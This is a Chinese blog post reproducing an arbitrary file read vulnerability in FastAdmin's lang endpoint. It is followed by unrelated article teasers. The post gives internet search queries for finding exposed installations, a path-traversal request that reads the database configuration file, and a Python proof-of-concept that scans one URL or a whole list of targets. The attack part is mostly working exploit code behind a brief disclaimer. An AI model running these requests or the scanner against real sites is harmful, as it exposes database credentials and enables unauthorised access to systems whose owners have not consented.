【漏洞复现】FastAdmin——任意文件读取漏洞

news2024/12/23 19:31:52

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

FastAdmin是一个免费开源的后台管理框架,其lang存在任意文件读取漏洞,未授权攻击者可以利用其读取网站配置文件等敏感信息。

漏洞复现

1)信息收集,资产测绘
fofa:body=“/assets/js/require.js”
hunter:web.body=“/assets/js/require.js”
在这里插入图片描述

坚持,成为安全专家只差一点点了

在这里插入图片描述

2)构造数据包上传文件

GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: ip

启动Yakit神器
在这里插入图片描述

测试工具

poc:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 指定脚本运行环境为Python,并设置文件编码为utf-8

import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning

RED = '\033[91m'
# 定义红色文本的颜色代码

RESET = '\033[0m'
# 定义重置文本颜色的代码

# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# 禁用requests库在urllib3中的不安全请求警告

def check_vulnerability(url):
    # 定义一个函数,用于检查指定URL是否存在漏洞
    try:
        # 尝试执行以下代码
        # 构造完整的攻击URL
        attack_url = url.rstrip('/') + "/index/ajax/lang?lang=%2e%2e/%2e%2e/application/database"
  
        # 发送GET请求到构造的URL,不验证SSL证书,超时时间设置为10秒
        response = requests.get(attack_url, verify=False, timeout=10)
  
        # 检查响应状态码是否为200,以及响应文本中是否包含'jsonpReturn'
        if response.status_code == 200 and 'jsonpReturn' in response.text:
            # 如果条件满足,打印出可能存在漏洞的信息
            print(f"{RED}URL [{url}] 可能存在Fastadmin框架lang任意文件读取漏洞{RESET}")
        else:
            # 如果条件不满足,打印出不存在漏洞的信息
            print(f"URL [{url}] 不存在漏洞")
    except requests.exceptions.Timeout:
        # 如果请求超时,打印出请求超时的信息
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    except requests.RequestException as e:
        # 如果发生其他请求相关的异常,打印出请求失败的信息及异常内容
        print(f"URL [{url}] 请求失败: {e}")

def main():
    # 定义主函数
    parser = argparse.ArgumentParser(description='检测目标地址是否存在Fastadmin框架lang任意文件读取漏洞')
    # 创建ArgumentParser对象,用于解析命令行参数,并设置描述信息

    parser.add_argument('-u', '--url', help='指定目标地址')
    # 添加命令行参数'-u'或'--url',用于指定单个目标地址

    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
    # 添加命令行参数'-f'或'--file',用于指定包含多个目标地址的文件

    args = parser.parse_args()
    # 解析命令行参数

    if args.url:
        # 如果指定了单个目标地址
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            # 如果地址不以http://或https://开头,则添加http://
            args.url = "http://" + args.url
        check_vulnerability(args.url)
        # 调用check_vulnerability函数进行检查

    elif args.file:
        # 如果指定了包含目标地址的文件
        with open(args.file, 'r') as file:
            # 打开文件并逐行读取
            urls = file.read().splitlines()
            # 读取所有行并存储在urls列表中
            for url in urls:
                # 对列表中的每个URL进行处理
                if not url.startswith("http://") and not url.startswith("https://"):
                    # 如果URL不以http://或https://开头,则添加http://
                    url = "http://" + url
                check_vulnerability(url)
                # 对每个URL调用check_vulnerability函数进行检查

if __name__ == '__main__':
    main()
    # 如果脚本被直接运行,则调用main函数

运行截图:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1868833.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

多功能气象传感器的工作原理

TH-WQX9多功能气象传感器是一种集成了多种传感器技术的气象观测装置,旨在同时测量和监测大气中的多个气象要素,以提供全面、准确的气象信息。以下是关于多功能气象传感器的详细介绍: 技术原理 多功能气象传感器采用多种传感器技术相结合&…

6月27日-四象限法则

四象限法则,又称为艾森豪威尔矩阵(Eisenhower Matrix),是一种时间管理和任务优先级排序的方法。它将任务分为四个象限,帮助个人识别哪些任务最重要,哪些可以推迟或委托,以及哪些可以完全忽略。以…

测试:MyBatisDemo

MyBatis Demo 先创建一个 Maven 项目,名称为 MyBatis01。 之后创建并连接 MySQL 数据库,然后执行 sql 脚本: CREATE DATABASE mybatis;USE mybatis;DROP TABLE IF EXISTS user;CREATE TABLE user ( id int(20) NOT NULL, name varchar(30)…

怎么在vscode里运行一个cpp文件

文章目录 1.需要下载g编译器,或clang(快,但是优化效果没有g好)2.新建文件夹和cpp文件(tasks.json)3.怎么在vscode里调试(launch.json)4.怎么设置让中断输出的字符是中文!5.飞机大战 1.需要下载g…

功能全,性能强,桌面型拓展坞,奥睿科11合1硬盘拓展坞分享:

现在很多人追求轻便办公,MINI PC 和笔记本电脑成为办公首选。 虽然PC越做越小巧,确实带来了便利,但随之而来的问题是,许多常用接口都被舍弃了,甚至很多的MINI PC 和笔记本都没有任何的拓展功能。 近些年,…

STM32之IIC(软件)

介绍 IIC ( 又称为 I2C 或 IC )是一种串行通信协议, IIC使用两根线路来进行通信: 串行数据线(SDA) 和 串行时钟线(SCL) 。 SDA 线上的数据在 SCL 线的时钟信号下进行 同步传输。 主…

微信公众号写作时必备的AI提示词(也称为指令或Prompt)

猫头虎 🐯 微信公众号写作时必备的AI提示词(也称为指令或Prompt) 🎉 大家好,我是猫头虎,科技自媒体博主。今天,我们来聊聊如何利用AI提示词,打造出爆款的微信公众号文章。&#x1…

python自动化系列:自动将工作簿下的所有工作表合并到新工作表

作品介绍 作品名称:自动将工作簿下的所有工作表合并到新工作表 开发环境:PyCharm 2023.3.4 python3.7 用到的库:os、xlwings 作品简介:该实例使用xlwings库来操作Excel文件,其主要功能是将一个工作簿中所有工作表…

CesiumJS【Basic】- #018 加载czml文件

文章目录 加载czml文件1 目标2 代码实现3 资源文件加载czml文件 1 目标 czml文件的使用 2 代码实现 import * as Cesium from "cesium";const viewer = new Cesium.Viewer("cesiumContainer",

【知识图谱系列】一步步指导:安装与配置JDK和Neo4j的完美搭配

本文将提供详细的步骤,介绍如何下载、安装和配置Java开发工具包(JDK)以及流行的图形数据库Neo4j。将从选择合适的JDK版本开始,然后是下载和配置环境变量,接着以同样的方式处理Neo4j。最后,会通过一些检查步…

【数据分享】《中国保险年鉴》1981-2022

而今天要免费分享的数据就是1981-2022 年间出版的《中国保险年鉴》并以多格式提供免费下载。(无需分享朋友圈即可获取) 数据介绍 《中国保险年鉴》自1981年首版发行以来,已连续出版了四十余年,见证了中国保险业从萌芽到繁荣的全…

SSM教务管理系统-计算机毕业设计源码06482

ssm教务管理系统的设计与实现 摘 要 科技进步的飞速发展引起人们日常生活的巨大变化,电子信息技术的飞速发展使得电子信息技术的各个领域的应用水平得到普及和应用。信息时代的到来已成为不可阻挡的时尚潮流,人类发展的历史正进入一个新时代。在现实运…

性能测试4【搬代码】

性能测试4与性能测试3最后的 三、性能瓶颈分析和性能调优 (1)基准测试 (2)负载测试 (3)压力测试 (4)浪涌测试 (5)容量测试 有关,需要结合看 性能瓶颈分析和性能调优 (1)基准测试 一般是单接口(单交易):使用一个用持续压测1min以…

【日记】软考居然一次过了(620 字)

正文 早上空闲的时候,上 QQ 看了一下,许久不见动静的系统架构设计师群有人说出分了。我想高级都出分了,中级应该也出来了,于是用手机查了一下。看到分数几乎快要泪从中来。为什么软考能一次过,银行从业资格证考了两三…

智慧园区多维可视化管理平台

通过图扑可视化技术,智慧园区实现设施与环境的实时监控和高效管理,提升运营效率与用户体验,推动园区智能化进程。

3D模型优化10个最佳实践

对于许多在建模、渲染和动画方面经验丰富的 3D 建模者来说,3D 优化可能是一个令人畏惧的过程 - 特别是当你正在优化实时应用程序的 3D 模型时! 在 Google 上快速搜索“如何优化 3D 文件”将会出现一些建议,例如减少多边形数和消除多余的顶点。…

头歌——机器学习——支持向量机案例

第1关:基于支持向量机模型的应用案例 任务描述 本关任务:编写一个基于支持向量机模型的应用案例。 相关知识 在本应用案例中,我们借助一个具体的实际问题,来完整地实现基于支持向量机模型的开发应用。在此训练中,我…

数据结构与算法笔记:高级篇 - 向量空间:如何实现一个简单的音乐推荐系统?

概述 很多人喜都喜爱听歌,以前我们用 MP3 听歌,现在直接通过音乐 App 在线就能听歌。而且,各种音乐 App 的功能越来越强大,不仅可以自己选歌听,还可以根据你听歌的喜好,给你推荐你可能会喜好的音乐&#x…

Polyplus转染试剂的优点,你知道吗?

Polyplus专注于为生命科学研究、体内转染、生物制品制造以及细胞和基因治疗的客户,提供创新的核酸递送解决方案。其深耕转染领域,产品力强劲。在科研领域,其产品转染效果以及价格都优于lipo系列。无论是在基础科学研究中,还是在临…

数字AI化银行数字化转型实战手册银行数字化转型大客户营销销售讲师培训师唐兴通谈存量客户理财金融科技与场景化

推动银行数字化转型的五个关键因素 推动银行数字化转型的五个关键因素: 客户体验。为客户提供便利和个性化是数字化转型的关键因素。银行应开发和实施创新的数字渠道,例如移动应用程序、网上银行、聊天机器人等,以方便获取金融服务并提高客户…